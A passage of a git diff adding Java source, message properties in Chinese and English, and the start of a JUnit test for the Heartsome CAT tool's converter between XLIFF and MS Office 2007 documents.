occurred. + */ + private void updateXliff(String xliff, String original) throws SAXException, IOException { + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(xliff); + Element root = doc.getRootElement(); + Element file = root.getChild("file"); //$NON-NLS-1$ + file.setAttribute("datatype", TYPE_VALUE); //$NON-NLS-1$ + file.setAttribute("original", TextUtil.cleanString(inputFile)); //$NON-NLS-1$ + Element header = file.getChild("header"); //$NON-NLS-1$ + Element elePropGroup = new Element("hs:prop-group", doc); //$NON-NLS-1$ + elePropGroup.setAttribute("name", "document"); //$NON-NLS-1$ //$NON-NLS-2$ + + Element originalProp = new Element("hs:prop", doc); //$NON-NLS-1$ + originalProp.setAttribute("prop-type", "original"); //$NON-NLS-1$ //$NON-NLS-2$ + originalProp.setText(original); + header.addContent("\n"); //$NON-NLS-1$ + elePropGroup.addContent(originalProp); + + Element srcFileProp = new Element("hs:prop", doc); //$NON-NLS-1$ + srcFileProp.setAttribute("prop-type", "sourcefile"); //$NON-NLS-1$ //$NON-NLS-2$ + srcFileProp.setText(srcFile); + header.addContent("\n"); //$NON-NLS-1$ + elePropGroup.addContent(srcFileProp); + + header.addContent(elePropGroup); + Element ext = header.getChild("skl").getChild("external-file"); //$NON-NLS-1$ //$NON-NLS-2$ + ext.setAttribute("href", TextUtil.cleanString(skeleton)); //$NON-NLS-1$ + if (isSuite) { + ext.setAttribute("crc", "" + CRC16.crc16(TextUtil.cleanString(skeleton).getBytes("UTF-8"))); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + } + + XMLOutputter outputter = new XMLOutputter(); + FileOutputStream output = new FileOutputStream(xliff); + outputter.output(doc, output); + output.close(); + } + } + + /** + * Clean string. + * @param string + * the string + * @return the string + */ + private static String cleanString(String string) { + string = string.replaceAll("&", "&"); //$NON-NLS-1$ //$NON-NLS-2$ + string = string.replaceAll("<", "<"); //$NON-NLS-1$ //$NON-NLS-2$ + string = string.replaceAll(">", ">"); //$NON-NLS-1$ //$NON-NLS-2$ + return string; + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/Xliff2MSOffice.java b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/Xliff2MSOffice.java new file mode 100644 index 0000000..eb2e2fb --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/Xliff2MSOffice.java @@ -0,0 +1,420 @@ +/** + * Xliff2MSOffice.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msoffice2007; + +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.OutputStreamWriter; +import java.text.MessageFormat; +import java.util.HashMap; +import java.util.Hashtable; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.zip.ZipEntry; +import java.util.zip.ZipFile; +import java.util.zip.ZipInputStream; +import java.util.zip.ZipOutputStream; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.msoffice2007.resource.Messages; +import net.heartsome.cat.converter.util.ConverterUtils; +import net.heartsome.cat.converter.util.Progress; +import net.heartsome.cat.converter.util.ReverseConversionInfoLogRecord; +import net.heartsome.util.StringConverter; +import net.heartsome.xml.Catalogue; +import net.heartsome.xml.Document; +import net.heartsome.xml.Element; +import net.heartsome.xml.SAXBuilder; +import net.heartsome.xml.XMLOutputter; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.OperationCanceledException; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * The Class Xliff2MSOffice. + * @author John Zhu + * @version + * @since JDK1.6 + */ +public class Xliff2MSOffice implements Converter { + + private static final Logger LOGGER = LoggerFactory.getLogger(Xliff2MSOffice.class); + + /** The Constant TYPE_VALUE. */ + public static final String TYPE_VALUE = "x-msoffice2007"; + + /** The Constant TYPE_NAME_VALUE. */ + public static final String TYPE_NAME_VALUE = Messages.getString("msoffice2007.TYPE_NAME_VALUE"); + + /** The Constant NAME_VALUE. */ + public static final String NAME_VALUE = "XLIFF to MS Office 2007 Conveter"; + + // 内部实现所ä¾èµ–的转æ¢å™¨ + /** The dependant converter. */ + private Converter dependantConverter; + + /** + * for test to initialize depend on converter. + */ + public Xliff2MSOffice() { + dependantConverter = Activator.getXMLConverter(Converter.DIRECTION_REVERSE); + } + + /** + * è¿è¡Œæ—¶æŠŠæ‰€ä¾èµ–的转æ¢å™¨ï¼Œåœ¨åˆå§‹åŒ–的时候通过构造函数注入。. + * @param converter + * the converter + */ + public Xliff2MSOffice(Converter converter) { + dependantConverter = converter; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#convert(java.util.Map, org.eclipse.core.runtime.IProgressMonitor) + * @param args + * @param monitor + * @return + * @throws ConverterException + */ + public Map convert(Map args, IProgressMonitor monitor) throws ConverterException { + Xliff2MSOfficeImpl converter = new Xliff2MSOfficeImpl(); + return converter.run(args, monitor); + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getName() + * @return + */ + public String getName() { + return NAME_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getType() + * @return + */ + public String getType() { + return TYPE_VALUE; + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.converter.Converter#getTypeName() + * @return + */ + public String getTypeName() { + return TYPE_NAME_VALUE; + } + + /** + * The Class Xliff2MSOfficeImpl. + * @author John Zhu + * @version + * @since JDK1.6 + */ + class Xliff2MSOfficeImpl { + + /** The files table. */ + private Hashtable filesTable; + + /** The is embedded. */ + private boolean isEmbedded = false; + + /** The catalogue. */ + private String catalogue; + + private boolean isInfoEnabled = LOGGER.isInfoEnabled(); + + /** + * Builds the doc. + * @param filename + * the filename + * @return the document + * @throws Exception + * the exception + */ + public Document buildDoc(String filename) throws Exception { + SAXBuilder builder = new SAXBuilder(); + builder.setEntityResolver(new Catalogue(catalogue)); + Document doc = builder.build(filename); + return doc; + } + + /** + * Creates the empty doc. + * @param filename + * the filename + * @return the document + * @throws Exception + * the exception + */ + public Document createEmptyDoc(String filename) throws Exception { + File file = new File(filename); + FileOutputStream fos = new FileOutputStream(file); + OutputStreamWriter osw = new OutputStreamWriter(fos, "UTF-8"); //$NON-NLS-1$ + BufferedWriter bw = new BufferedWriter(osw); + + bw.write("\n"); //$NON-NLS-1$ + bw.write("\n"); //$NON-NLS-1$ + bw.write("\n"); //$NON-NLS-1$ + + bw.flush(); + bw.close(); + osw.close(); + fos.close(); + bw = null; + osw = null; + fos = null; + + return buildDoc(filename); + } + + /** + * Save file. + * @param element + * the element + * @throws Exception + * the exception + */ + private void saveFile(Element element) throws Exception { + File xliff = File.createTempFile("tmp", ".xlf"); //$NON-NLS-1$ //$NON-NLS-2$ + Document doc = createEmptyDoc(xliff.getAbsolutePath()); + Element root = doc.getRootElement(); + root.setAttribute("version", "1.2"); //$NON-NLS-1$ //$NON-NLS-2$ + Element file = new Element("file", doc); //$NON-NLS-1$ + file.clone(element, doc); + root.addContent(file); + + List groups = file.getChild("header").getChildren("hs:prop-group"); //$NON-NLS-1$ //$NON-NLS-2$ + Iterator i = groups.iterator(); + while (i.hasNext()) { + Element group = i.next(); + if (group.getAttributeValue("name").equals("document")) { //$NON-NLS-1$ //$NON-NLS-2$ + filesTable.put(group.getChild("hs:prop").getText(), xliff.getAbsolutePath()); //$NON-NLS-1$ + } + } + if (file.getChild("header").getChild("skl").getChild("external-file") == null) { //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + // embedded skeleton + file.getChild("header").getChild("skl").addContent(new Element("external-file", doc)); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ + isEmbedded = true; + } + file + .getChild("header").getChild("skl").getChild("external-file").setAttribute("href", xliff.getAbsolutePath() + ".skl"); //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ //$NON-NLS-4$ //$NON-NLS-5$ + XMLOutputter outputter = new XMLOutputter(); + FileOutputStream output = new FileOutputStream(xliff.getAbsolutePath()); + outputter.output(doc, output); + output.close(); + outputter = null; + } + + /** + * Run. + * @param args + * the args + * @param monitor + * the monitor + * @return the map< string, string> + * @throws ConverterException + * the converter exception + */ + public Map run(Map args, IProgressMonitor monitor) throws ConverterException { + monitor = Progress.getMonitor(monitor); + ReverseConversionInfoLogRecord infoLogger = ConverterUtils.getReverseConversionInfoLogRecord(); + infoLogger.startConversion(); + Map result = new HashMap(); + String xliffFile = args.get(Converter.ATTR_XLIFF_FILE); + String outputFile = args.get(Converter.ATTR_TARGET_FILE); + catalogue = args.get(Converter.ATTR_CATALOGUE); + filesTable = new Hashtable(); + try { + // 把转æ¢è¿‡ç¨‹åˆ†ä¸ºä¸‰éƒ¨åˆ†å…± 20 个任务,其中分离出å„个 xliff æ–‡ä»¶å  8,分离出 skeleton æ–‡ä»¶å  2,生æˆç›®æ ‡æ–‡ä»¶å  10。 + monitor.beginTask(Messages.getString("msoffice2007.Xliff2MSOffice.task1"), 20); + infoLogger.logConversionFileInfo(catalogue, null, xliffFile, null); + IProgressMonitor separateMonitor = Progress.getSubMonitor(monitor, 8); + long startTime = 0; + try { + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger1"), startTime); + } + SAXBuilder builder = new SAXBuilder(); + Document doc = builder.build(xliffFile); + Element root = doc.getRootElement(); + List files = root.getChildren("file"); //$NON-NLS-1$ + + separateMonitor.beginTask(Messages.getString("msoffice2007.Xliff2MSOffice.task2"), files.size()); + + Iterator it = files.iterator(); + while (it.hasNext()) { + saveFile(it.next()); + // 是å¦å–消æ“作 + if (separateMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("msoffice2007.cancel")); + } + separateMonitor.worked(1); + } + } finally { + separateMonitor.done(); + } + long endTime = 0; + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger2"), endTime); + LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger3"), endTime - startTime); + } + + monitor.subTask(Messages.getString("msoffice2007.Xliff2MSOffice.task3")); + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger4"), startTime); + } + String skeleton = args.get(Converter.ATTR_SKELETON_FILE); + if (isEmbedded) { + File t = File.createTempFile("tmp", ".skl"); //$NON-NLS-1$ //$NON-NLS-2$ + StringConverter.decodeFile(skeleton, t.getAbsolutePath()); + skeleton = t.getAbsolutePath(); + } + + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger5"), endTime); + LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger6"), endTime - startTime); + } + monitor.worked(2); + + IProgressMonitor conversionMonitor = Progress.getSubMonitor(monitor, 10); + try { + ZipFile zipFile = new ZipFile(skeleton); + int totalTask = zipFile.size(); + conversionMonitor.beginTask(Messages.getString("msoffice2007.Xliff2MSOffice.task4"), totalTask); + if (isInfoEnabled) { + startTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger7"), startTime); + } + ZipInputStream in = new ZipInputStream(new FileInputStream(skeleton)); + ZipOutputStream out = new ZipOutputStream(new FileOutputStream(outputFile)); + ZipEntry entry = null; + while ((entry = in.getNextEntry()) != null) { + // 标识是å¦å§”派其它转æ¢å™¨è¿›è¡Œäº†å¤„ç† + boolean isDelegate = false; + // 是å¦å–消 + if (conversionMonitor.isCanceled()) { + throw new OperationCanceledException(Messages.getString("msoffice2007.cancel")); + } + String messagePattern = Messages.getString("msoffice2007.Xliff2MSOffice.msg1"); + String message = MessageFormat.format(messagePattern, new Object[] { entry.getName() }); + conversionMonitor.subTask(message); + + if (entry.getName().matches(".*\\.[xX][mM][lL]\\.skl")) { //$NON-NLS-1$ + String name = entry.getName().substring(0, entry.getName().lastIndexOf(".skl")); //$NON-NLS-1$ + File tmp = new File(filesTable.get(name) + ".skl"); //$NON-NLS-1$ + FileOutputStream output = new FileOutputStream(tmp.getAbsolutePath()); + byte[] buf = new byte[1024]; + int len; + while ((len = in.read(buf)) > 0) { + output.write(buf, 0, len); + } + output.close(); + Hashtable table = new Hashtable(); + table.put(Converter.ATTR_XLIFF_FILE, filesTable.get(name)); + table.put(Converter.ATTR_TARGET_FILE, filesTable.get(name) + ".xml"); + table.put(Converter.ATTR_CATALOGUE, catalogue); + table.put(Converter.ATTR_SKELETON_FILE, filesTable.get(name) + ".skl"); + Map res = dependantConverter.convert(table, Progress.getSubMonitor( + conversionMonitor, 1)); + isDelegate = true; + if (res.get(Converter.ATTR_TARGET_FILE) == null) { + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, + Messages.getString("msoffice2007.Xliff2MSOffice.msg2")); + } + ZipEntry content = new ZipEntry(name); + content.setMethod(ZipEntry.DEFLATED); + out.putNextEntry(content); + FileInputStream input = new FileInputStream(filesTable.get(name) + ".xml"); //$NON-NLS-1$ + while ((len = input.read(buf)) > 0) { + out.write(buf, 0, len); + } + out.closeEntry(); + input.close(); + tmp.delete(); + File xml = new File(filesTable.get(name) + ".xml"); //$NON-NLS-1$ + xml.delete(); + File xlf = new File(filesTable.get(name)); + xlf.delete(); + } else { + File tmp = File.createTempFile("entry", ".tmp"); //$NON-NLS-1$ //$NON-NLS-2$ + FileOutputStream output = new FileOutputStream(tmp.getAbsolutePath()); + byte[] buf = new byte[1024]; + int len; + while ((len = in.read(buf)) > 0) { + output.write(buf, 0, len); + } + output.close(); + ZipEntry content = new ZipEntry(entry.getName()); + content.setMethod(ZipEntry.DEFLATED); + out.putNextEntry(content); + FileInputStream input = new FileInputStream(tmp.getAbsolutePath()); + while ((len = input.read(buf)) > 0) { + out.write(buf, 0, len); + } + out.closeEntry(); + input.close(); + tmp.delete(); + } + if (!isDelegate) { + conversionMonitor.worked(1); + } + } + out.close(); + } finally { + conversionMonitor.done(); + } + if (isInfoEnabled) { + endTime = System.currentTimeMillis(); + LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger8"), endTime); + LOGGER.info(Messages.getString("msoffice2007.Xliff2MSOffice.logger9"), endTime - startTime); + } + + if (isEmbedded) { + File f = new File(skeleton); + f.delete(); + } + result.put(Converter.ATTR_TARGET_FILE, outputFile); + } catch (OperationCanceledException e) { + throw e; + } catch (ConverterException e) { + throw e; + } catch (Exception e) { + if (Converter.DEBUG_MODE) { + e.printStackTrace(); + } + ConverterUtils.throwConverterException(Activator.PLUGIN_ID, Messages.getString("msoffice2007.Xliff2MSOffice.msg3"), + e); + } finally { + monitor.done(); + } + infoLogger.endConversion(); + return result; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/Messages.java b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/Messages.java new file mode 100644 index 0000000..f711d9d --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/Messages.java @@ -0,0 +1,49 @@ +/** + * Messages.java + * + * Version information : + * + * Date:Jan 14, 2010 + * + * Copyright notice : + */ +package net.heartsome.cat.converter.msoffice2007.resource; + +import java.util.MissingResourceException; +import java.util.ResourceBundle; + +/** + * 国际化工具类 + * @author peason + * @version + * @since JDK1.6 + */ +public final class Messages { + + /** The Constant BUNDLE_NAME. */ + private static final String BUNDLE_NAME = "net.heartsome.cat.converter.msoffice2007.resource.message"; //$NON-NLS-1$ + + /** The Constant RESOURCE_BUNDLE. */ + private static final ResourceBundle RESOURCE_BUNDLE = ResourceBundle.getBundle(BUNDLE_NAME); + + /** + * Instantiates a new messages. + */ + private Messages() { + // Do nothing + } + + /** + * Gets the string. + * @param key + * the key + * @return the string + */ + public static String getString(String key) { + try { + return RESOURCE_BUNDLE.getString(key); + } catch (MissingResourceException e) { + return '!' + key + '!'; + } + } +} diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/message.properties b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/message.properties new file mode 100644 index 0000000..4616183 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/message.properties @@ -0,0 +1,26 @@ +msoffice2007.MSOffice2Xliff.msg1 = MS Office 2007 \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +msoffice2007.MSOffice2Xliff.msg2 = MS Office 2007 \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +msoffice2007.MSOffice2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +msoffice2007.MSOffice2Xliff.task2 = \u6b63\u5728\u5904\u7406\u6587\u4ef6 {0}... +msoffice2007.MSOffice2Xliff.task3 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... + +msoffice2007.Xliff2MSOffice.logger1 = [LOG] \u5f00\u59cb\u62bd\u53d6\u6587\u672c\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger2 = [LOG] \u62bd\u53d6\u6587\u672c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger3 = [LOG] \u62bd\u53d6\u6587\u672c\u5171\u7528\u65f6\uff1a{} +msoffice2007.Xliff2MSOffice.logger4 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger5 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger6 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u5171\u7528\u65f6\uff1a{} +msoffice2007.Xliff2MSOffice.logger7 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger8 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger9 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +msoffice2007.Xliff2MSOffice.msg1 = \u6b63\u5728\u5904\u7406\u6587\u4ef6 {0}... +msoffice2007.Xliff2MSOffice.msg2 = XLIFF \u8f6c\u6362 Microsoft Office 2007 \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +msoffice2007.Xliff2MSOffice.msg3 = XLIFF \u8f6c\u6362 Microsoft Office 2007 \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +msoffice2007.Xliff2MSOffice.task1 = \u6b63\u5728\u8f6c\u6362... +msoffice2007.Xliff2MSOffice.task2 = \u6b63\u5728\u62bd\u53d6\u6587\u672c... +msoffice2007.Xliff2MSOffice.task3 = \u6b63\u5728\u521b\u5efa\u9aa8\u67b6\u6587\u4ef6... +msoffice2007.Xliff2MSOffice.task4 = \u6b63\u5728\u8f6c\u6362\u6587\u4ef6... + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +msoffice2007.TYPE_NAME_VALUE = Microsoft Office \u6587\u6863 (DOCX, XLSX, PPTX) +msoffice2007.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/message_en.properties b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/message_en.properties new file mode 100644 index 0000000..1f8a87f --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/message_en.properties @@ -0,0 +1,26 @@ +msoffice2007.MSOffice2Xliff.msg1 = Failed to convert MS Office 2007 file to XLIFF. Please try again. +msoffice2007.MSOffice2Xliff.msg2 = Failed to convert MS Office 2007 file to XLIFF. Please try again. +msoffice2007.MSOffice2Xliff.task1 = Converting... +msoffice2007.MSOffice2Xliff.task2 = Processing {0}... +msoffice2007.MSOffice2Xliff.task3 = Generating XLIFF files... + +msoffice2007.Xliff2MSOffice.logger1 = [LOG] \u5f00\u59cb\u62bd\u53d6\u6587\u672c\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger2 = [LOG] \u62bd\u53d6\u6587\u672c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger3 = [LOG] \u62bd\u53d6\u6587\u672c\u5171\u7528\u65f6\uff1a{} +msoffice2007.Xliff2MSOffice.logger4 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger5 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger6 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u5171\u7528\u65f6\uff1a{} +msoffice2007.Xliff2MSOffice.logger7 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger8 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger9 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +msoffice2007.Xliff2MSOffice.msg1 = Processing {0}... +msoffice2007.Xliff2MSOffice.msg2 = Failed to convert XLIFF to MS Office 2007 file. Please try again. +msoffice2007.Xliff2MSOffice.msg3 = Failed to convert XLIFF to MS Office 2007 file. Please try again. +msoffice2007.Xliff2MSOffice.task1 = Converting... +msoffice2007.Xliff2MSOffice.task2 = Extracting translatable text... +msoffice2007.Xliff2MSOffice.task3 = Creating skeleton file... +msoffice2007.Xliff2MSOffice.task4 = Converting files... + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +msoffice2007.TYPE_NAME_VALUE = Microsoft Office documents (DOCX, XLSX, PPTX) +msoffice2007.cancel = Exit conversion \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/message_zh.properties b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/message_zh.properties new file mode 100644 index 0000000..4616183 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/src/net/heartsome/cat/converter/msoffice2007/resource/message_zh.properties @@ -0,0 +1,26 @@ +msoffice2007.MSOffice2Xliff.msg1 = MS Office 2007 \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +msoffice2007.MSOffice2Xliff.msg2 = MS Office 2007 \u8f6c\u6362 XLIFF \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +msoffice2007.MSOffice2Xliff.task1 = \u6b63\u5728\u8f6c\u6362... +msoffice2007.MSOffice2Xliff.task2 = \u6b63\u5728\u5904\u7406\u6587\u4ef6 {0}... +msoffice2007.MSOffice2Xliff.task3 = \u6b63\u5728\u751f\u6210 XLIFF \u6587\u4ef6... + +msoffice2007.Xliff2MSOffice.logger1 = [LOG] \u5f00\u59cb\u62bd\u53d6\u6587\u672c\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger2 = [LOG] \u62bd\u53d6\u6587\u672c\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger3 = [LOG] \u62bd\u53d6\u6587\u672c\u5171\u7528\u65f6\uff1a{} +msoffice2007.Xliff2MSOffice.logger4 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger5 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger6 = [LOG] \u62bd\u53d6\u9aa8\u67b6\u5171\u7528\u65f6\uff1a{} +msoffice2007.Xliff2MSOffice.logger7 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5f00\u59cb\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger8 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u7ed3\u675f\uff0c\u5f53\u524d\u65f6\u95f4\u4e3a\uff1a{} +msoffice2007.Xliff2MSOffice.logger9 = [LOG] \u8f6c\u6362 ZIP \u5305\u4e2d\u7684\u9aa8\u67b6\u6587\u4ef6\u5171\u7528\u65f6\uff1a{} +msoffice2007.Xliff2MSOffice.msg1 = \u6b63\u5728\u5904\u7406\u6587\u4ef6 {0}... +msoffice2007.Xliff2MSOffice.msg2 = XLIFF \u8f6c\u6362 Microsoft Office 2007 \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +msoffice2007.Xliff2MSOffice.msg3 = XLIFF \u8f6c\u6362 Microsoft Office 2007 \u5931\u8d25\uff0c\u8bf7\u91cd\u8bd5\u3002 +msoffice2007.Xliff2MSOffice.task1 = \u6b63\u5728\u8f6c\u6362... +msoffice2007.Xliff2MSOffice.task2 = \u6b63\u5728\u62bd\u53d6\u6587\u672c... +msoffice2007.Xliff2MSOffice.task3 = \u6b63\u5728\u521b\u5efa\u9aa8\u67b6\u6587\u4ef6... +msoffice2007.Xliff2MSOffice.task4 = \u6b63\u5728\u8f6c\u6362\u6587\u4ef6... + +########################## 2012-08-08 \u6dfb\u52a0 ########################################### +msoffice2007.TYPE_NAME_VALUE = Microsoft Office \u6587\u6863 (DOCX, XLSX, PPTX) +msoffice2007.cancel = \u9000\u51fa\u8f6c\u6362 \ No newline at end of file diff --git a/hsconverter/net.heartsome.cat.converter.msoffice2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/MSOffice2XliffTest.java b/hsconverter/net.heartsome.cat.converter.msoffice2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/MSOffice2XliffTest.java new file mode 100644 index 0000000..d81bed1 --- /dev/null +++ b/hsconverter/net.heartsome.cat.converter.msoffice2007/testSrc/net/heartsome/cat/converter/msoffice2007/test/MSOffice2XliffTest.java @@ -0,0 +1,128 @@ +package net.heartsome.cat.converter.msoffice2007.test; + +import static org.junit.Assert.*; + +import java.io.File; +import java.util.HashMap; +import java.util.Map; + +import net.heartsome.cat.converter.Converter; +import net.heartsome.cat.converter.ConverterException; +import net.heartsome.cat.converter.msoffice2007.MSOffice2Xliff; + +import org.junit.BeforeClass; +import org.junit.Test; + +public class MSOffice2XliffTest { + public static MSOffice2Xliff converter = new MSOffice2Xliff(); + private static String rootFolder = "/data/john/Workspaces/CAT/HSTS7/"; + private static String srcDocxFile = "rc/Test.docx"; + private static String xlfDocxFile = "rc/Test.docx.xlf"; + private static String sklDocxFile = "rc/Test.docx.skl"; + + private static String srcXlsxFile = "rc/Test.xlsx"; + private static String xlfXlsxFile = "rc/Test.xlsx.xlf"; + private static String sklXlsxFile = "rc/Test.xlsx.skl"; + + private static String srcPptxFile = "rc/Test.pptx"; + private static String xlfPptxFile = "rc/Test.pptx.xlf"; + private static String sklPptxFile = "rc/Test.pptx.skl"; + + @BeforeClass + public static void setUp() { + File xlf = new File(xlfDocxFile); + if (xlf.exists()) { + xlf.delete(); + } + + File skl = new File(sklDocxFile); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfXlsxFile); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklXlsxFile); + if (skl.exists()) { + skl.delete(); + } + + xlf = new File(xlfPptxFile); + if (xlf.exists()) { + xlf.delete(); + } + + skl = new File(sklPptxFile); + if (skl.exists()) { + skl.delete(); + } + } + + @Test + public void testConvertXlsx() throws ConverterException { + Map args = new HashMap(); + args.put(Converter.ATTR_SOURCE_FILE, srcXlsxFile); //$NON-NLS-1$ + args.put(Converter.ATTR_XLIFF_FILE, xlfXlsxFile); //$NON-NLS-1$ + 